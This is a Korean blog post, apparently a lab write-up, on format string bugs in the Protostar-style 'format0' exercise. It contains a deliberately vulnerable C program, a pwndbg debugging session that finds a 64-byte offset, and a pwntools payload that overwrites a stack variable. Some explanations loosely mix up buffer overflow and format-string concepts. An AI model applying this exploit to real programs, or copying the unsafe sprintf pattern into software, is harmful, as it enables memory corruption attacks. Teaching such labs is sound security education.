Format String Bug (FSB)란?
printf() 계열 함수에 포맷 문자열을 직접 입력값으로 사용할 때 발생하는 취약점이다.
printf = print format
%d : 10진수로 출력
%x : 16진수로 출력
%o : 8진수로 출력
%p : 포인터 형식으로 출력 (16진수로 표현)
%n : 특정 주소에 지금까지 출력된 문자의 개수를 작성
printf(input); // 취약함.
printf("%s", input); // 안전함.
printf 포맷 이해하기 - test.c
test.c
#include <stdio.h>
#include <stdlib.h>
int main(){
printf("%x %x %x\n", 0x1A, 0x2A);
return 0;
}
$ gcc test.c -o test
$ ./test
1a 2a 55557dd8
- 인자 2개만 전달했는데 포맷은 3개이다 => 스택의 쓰레기 값까지 출력되게 된다.
- 이를 통해서 메모리에 있는 스택 정보가 노출될 수 있다.
코드 분석
format0.c
// format 계열의 함수를 알아보자
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln(char *string){
volatile int target; // 정수형 변수 생성
char buffer[64]; // 64바이트 버퍼
target = 0; // 초기화
sprintf(buffer, string); // string으로 들어온 포맷 문자열을 buffer에 복사 (s+printf)
if(target == 0xdeadbeef){
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv){
vuln(argv[1]); // 사용자 입력을 인자로 전달
}
실행 & 디버깅 (중요 부분만 정리함.)
$ gdb ./format0
pwndbg > run 123456789
pwndbg > disassemble vuln
Dump of assembler code for function vuln:
0x080483f4 <+0>: push ebp
0x080483f5 <+1>: mov ebp,esp
0x080483f7 <+3>: sub esp,0x68
0x080483fa <+6>: mov DWORD PTR [ebp-0xc],0x0
0x08048401 <+13>: mov eax,DWORD PTR [ebp+0x8]
0x08048404 <+16>: mov DWORD PTR [esp+0x4],eax
0x08048408 <+20>: lea eax,[ebp-0x4c]
0x0804840b <+23>: mov DWORD PTR [esp],eax
0x0804840e <+26>: call 0x8048300
sprintf@plt
0x08048413 <+31>: mov eax,DWORD PTR [ebp-0xc]
0x08048416 <+34>: cmp eax,0xdeadbeef
0x0804841b <+39>: jne 0x8048429 <vuln+53>
0x0804841d <+41>: mov DWORD PTR [esp],0x8048510
0x08048424 <+48>: call 0x8048330
puts@plt
0x08048429 <+53>: leave
0x0804842a <+54>: ret
End of assembler dump.
pwndbg > b *vuln+26
Breakpoint 1 at 0x804840e: file format0/format0.c, line 13.
pwndbg>
run 123456789
Starting program: /home/kali/Desktop/bin/format0 123456789
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x0804840e in vuln (string=0xffffd0fb "123456789") at format0/format0.c:13
warning: Source file is more recent than executable.
13 sprintf(buffer,string); //s + printf
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────
EAX 0xffffcdac ◂— 0
EBX 0xf7f9ce14 (
GLOBAL_OFFSET_TABLE) ◂— 0x235d0c /* '\x0c]#' /
ECX 0xda6fe540
EDX 0xffffce40 —▸ 0xf7f9ce14 (GLOBAL_OFFSET_TABLE) ◂— 0x235d0c /
'\x0c]#' /
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x8048460 (__libc_csu_init) ◂— push ebp
EBP 0xffffcdf8 —▸ 0xffffce18 ◂— 0
ESP 0xffffcd90 —▸ 0xffffcdac ◂— 0
EIP 0x804840e (vuln+26) —▸ 0xfffeede8 ◂— 0
────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────
► 0x804840e <vuln+26> call sprintf@plt
sprintf@plt
s: 0xffffcdac ◂— 0
format: 0xffffd0fb ◂— '123456789'
vararg: 0xf7fc0720 —▸ 0x8048260 ◂— inc edi /
'GLIBC_2.0' */
0x8048413 <vuln+31> mov eax, dword ptr [ebp - 0xc]
0x8048416 <vuln+34> cmp eax, 0xdeadbeef
0x804841b <vuln+39> jne vuln+53 <vuln+53>
0x804841d <vuln+41> mov dword ptr [esp], 0x8048510
0x8048424 <vuln+48> call puts@plt
puts@plt
0x8048429 <vuln+53> leave
0x804842a <vuln+54> ret
0x804842b <main> push ebp
0x804842c <main+1> mov ebp, esp
0x804842e <main+3> and esp, 0xfffffff0
─────────────────────────────────────[ SOURCE (CODE)
]─────────────────────────────────────
In file: /home/kali/Desktop/bin/format0.c:13
8 volatile int target; // 정수형 변수 생성
9 char buffer[64]; //64 바이트 버퍼 생성
10
11 target=0; //target 변수에 0을 대입한다.
12
► 13 sprintf(buffer,string); //s + printf
14 // string으로 들어온 포맷 문자열을 buffer에 넣겠다.
15 if(target==0xdeadbeef){ //target이 0xdeadbeef라면 성공!
16 printf("you have hit the target correctly :)\n");
17 }
18 }
─────────────────────────────────────────[ STACK
]─────────────────────────────────────────
00:0000│ esp 0xffffcd90 —▸ 0xffffcdac ◂— 0 ———> buffer
01:0004│-064 0xffffcd94 —▸ 0xffffd0fb ◂— '123456789' —→ 우리가 넣은 값
02:0008│-060 0xffffcd98 —▸ 0xf7fc0720 —▸ 0x8048260 ◂— inc edi /* 'GLIBC_2.0' */
03:000c│-05c 0xffffcd9c ◂— 1
04:0010│-058 0xffffcda0 ◂— 0
05:0014│-054 0xffffcda4 ◂— 1
06:0018│-050 0xffffcda8 —▸ 0xf7ffda20 ◂— 0
07:001c│ eax 0xffffcdac ◂— 0
───────────────────────────────────────[ BACKTRACE
]───────────────────────────────────────
► 0 0x804840e vuln+26
1 0x8048444 main+25
2 0xf7d8bd43 __libc_start_call_main+115
3 0xf7d8be08 __libc_start_main+136
4 0x8048361 _start+33
────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s 0xffffcdac
0xffffcdac: "" → 버퍼여서 아무것도 안 나옴.
pwndbg> nexti → 다음 꺼로
pwndbg> x/s 0xffffcdac
0xffffcdac: "123456789" —> printf 함수가 string 문자열을 복사를 버퍼에 복사를 하고 있기 때문에 버퍼 오버플로우가 발생하게
되어서 target 함수가 overriding 될 수 있음.
어디를 봐도 target 함수를 출력해주는 값이 보이지 않음.
직접 디버그 해서 확인을 해야 함.

=> dword 라는 것은 ebp-0xc라는 주소에 있는 값을 넣겠다.

=> nexti 하면 0x00000000 값이 EAX로 들어감.
pwndbg>
x/wx $ebp - 0xc
0xffffcdec: 0x00000000
pwndbg>
nexti
0x08048416 15 if(target==0xdeadbeef){ //target이 0xdeadbeef라면 성공!
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────[ REGISTERS / show-flags off / show-compact-regs off]───────────────────────
EAX 0
EBX 0xf7f9ce14 (GLOBAL_OFFSET_TABLE) ◂— 0x235d0c /
'\x0c]#' */
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x8048460 (__libc_csu_init) ◂— push ebp
EBP 0xffffcdf8 —▸ 0xffffce18 ◂— 0
ESP 0xffffcd90 —▸ 0xffffcdac ◂— '123456789'
*EIP 0x8048416 (vuln+34) ◂— cmp eax, 0xdeadbeef
─────────────────────────────────[ DISASM / i386 / set emulate on]─────────────────────────────────
0x804840e <vuln+26> call sprintf@plt
sprintf@plt
0x8048413 <vuln+31> mov eax, dword ptr [ebp - 0xc] EAX, [0xffffcdec] => 0
► 0x8048416 <vuln+34> cmp eax, 0xdeadbeef 0x0 - 0xdeadbeef EFLAGS => 0x217 [ CF PF
AF zf sf IF df of ]
0x804841b <vuln+39> ✔ jne vuln+53 <vuln+53>
↓
0x8048429 <vuln+53> leave
0x804842a <vuln+54> ret <main+25>
↓
0x8048444 <main+25> leave
0x8048445 <main+26> ret <__libc_start_call_main+115>
↓
0xf7d8bd43 <__libc_start_call_main+115> add esp, 0x10 ESP => 0xffffce30 (0xffffce20 + 0x10)
0xf7d8bd46 <__libc_start_call_main+118> sub esp, 0xc ESP => 0xffffce24 (0xffffce30 - 0xc)
0xf7d8bd49 <__libc_start_call_main+121> push eax
─────────────────────────────────────────[ SOURCE (CODE)]──────────────────────────────────────────
In file: /home/kali/Desktop/bin/format0.c:15
10
11 target=0; //target 변수에 0을 대입한다.
12
13 sprintf(buffer,string); //s + printf
14 // string으로 들어온 포맷 문자열을 buffer에 넣겠다.
► 15 if(target==0xdeadbeef){ //target이 0xdeadbeef라면 성공!
16 printf("you have hit the target correctly :)\n");
17 }
18 }
19
20 int main(int argc, char *
argv){ // 프로그램 실행 시 실행되는 함수.
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp 0xffffcd90 —▸ 0xffffcdac ◂— '123456789'
01:0004│-064 0xffffcd94 —▸ 0xffffd0fb ◂— '123456789'
02:0008│-060 0xffffcd98 —▸ 0xf7fc0720 —▸ 0x8048260 ◂— inc edi /
'GLIBC_2.0' */
03:000c│-05c 0xffffcd9c ◂— 1
04:0010│-058 0xffffcda0 ◂— 0
05:0014│-054 0xffffcda4 ◂— 1
06:0018│-050 0xffffcda8 —▸ 0xf7ffda20 ◂— 0
07:001c│-04c 0xffffcdac ◂— '123456789'
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
► 0 0x8048416 vuln+34
1 0x8048444 main+25
2 0xf7d8bd43 __libc_start_call_main+115
3 0xf7d8be08 __libc_start_main+136
4 0x8048361 _start+33
────────────────────────────────────────────────────────────────────────────────
위에서 EAX 9 → nexti → EAX 0
cmp eax,0xdeadbeef
eax와 deadbeef를 cmp(compare=비교)
eax 값이 target 값이고 eax의 값은 ebp-0*c가 들어감.
따라서 target 주소가 EBP-0*c 라는 것을 알 수 있음.
pwndbg> nexti
0x0804841b 15 if(target==0xdeadbeef){ //target이 0xdeadbeef라면 성공!
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────[ REGISTERS / show-flags off / show-compact-regs off]───────────────────────
EAX 0
EBX 0xf7f9ce14 (
GLOBAL_OFFSET_TABLE) ◂— 0x235d0c /* '\x0c]#' */
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x8048460 (__libc_csu_init) ◂— push ebp
EBP 0xffffcdf8 —▸ 0xffffce18 ◂— 0
ESP 0xffffcd90 —▸ 0xffffcdac ◂— '123456789'
*EIP 0x804841b (vuln+39) ◂— jne vuln+53
─────────────────────────────────[ DISASM / i386 / set emulate on]─────────────────────────────────
0x804840e <vuln+26> call sprintf@plt
sprintf@plt
0x8048413 <vuln+31> mov eax, dword ptr [ebp - 0xc] EAX, [0xffffcdec] => 0
0x8048416 <vuln+34> cmp eax, 0xdeadbeef 0x0 - 0xdeadbeef EFLAGS => 0x217 [ CF PF
AF zf sf IF df of ]
► 0x804841b <vuln+39> ✔ jne vuln+53 <vuln+53> → jump not equal⇒ 위에서 비교한 값이 같지
않으면 점프를 한다. → jump 해서 같지 않으면 leave로 간다.
↓
0x8048429 <vuln+53> leave
0x804842a <vuln+54> ret <main+25>
↓
0x8048444 <main+25> leave
0x8048445 <main+26> ret <__libc_start_call_main+115>
↓
0xf7d8bd43 <__libc_start_call_main+115> add esp, 0x10 ESP => 0xffffce30 (0xffffce20 + 0x10)
0xf7d8bd46 <__libc_start_call_main+118> sub esp, 0xc ESP => 0xffffce24 (0xffffce30 - 0xc)
0xf7d8bd49 <__libc_start_call_main+121> push eax
────────────────────────────────────────────────────────────────────────────────
pwndbg> nexti
► 0x8048429 <vuln+53> leave → leave 로 왔음.
→ 그 다음 return
pwndbg> nexti
► 0x804842a <vuln+54> ret <main+25>
오프셋 찾기

pwndbg> run "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"

offset : 64
pwndbg> run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB —>offset이 64이기 떄문에
Breakpoint 1, 0x0804840e in vuln (string=0xffffd0bf 'A' <repeats 64 times>, "BBBB")
───────────────────────[ REGISTERS / show-flags off / show-compact-regs off]───────────────────────
EAX 0xffffcd7c ◂— 0
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp 0xffffcd60 —▸ 0xffffcd7c ◂— 0
01:0004│-064 0xffffcd64 —▸ 0xffffd0bf ◂—'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'
pwndbg> nexti
00:0000│ esp 0xffffcd60 —▸ 0xffffcd7c ◂—'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB' —> 복사됨.
01:0004│-064 0xffffcd64 —▸ 0xffffd0bf ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'
pwndbg> nexti
EAX 0x42424242 ('BBBB')
00:0000│ esp 0xffffcd60 —▸ 0xffffcd7c ◂—'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'
01:0004│-064 0xffffcd64 —▸ 0xffffd0bf ◂—'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'
익스플로잇
format0.py
from pwn import * # pwntools 라이브러리의 모든 함수를 가져와 사용하겠다.
payload=b'A'*64+p32(0xdeadbeef)
p=process(['./format0', payload]) #argv는 list 형식으로 커맨드 라인 인자를 넣을 수 있음.
print(p.recvrepeat(1)) #1초동안 프로그램이 출력하는 문자열을 가져와서 출력.

성공!!
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.
'시스템 해킹 & 보안' 카테고리의 다른 글
| Format String Bug(FSB) - format2 문제 해결 (0) | 2025.07.17 |
|---|---|
| Format String Bug(FSB) - format1 문제 해결 (1) | 2025.07.16 |
| Stack Buffer Overflow(BOF) - stack7 (ROP) 문제 해결 (2) | 2025.07.16 |
| Stack Buffer Overflow(BOF) - stack6 (RTL) 문제 해결 (1) | 2025.07.16 |
| Stack Buffer Overflow(BOF) - stack5 문제 해결 (1) | 2025.07.14 |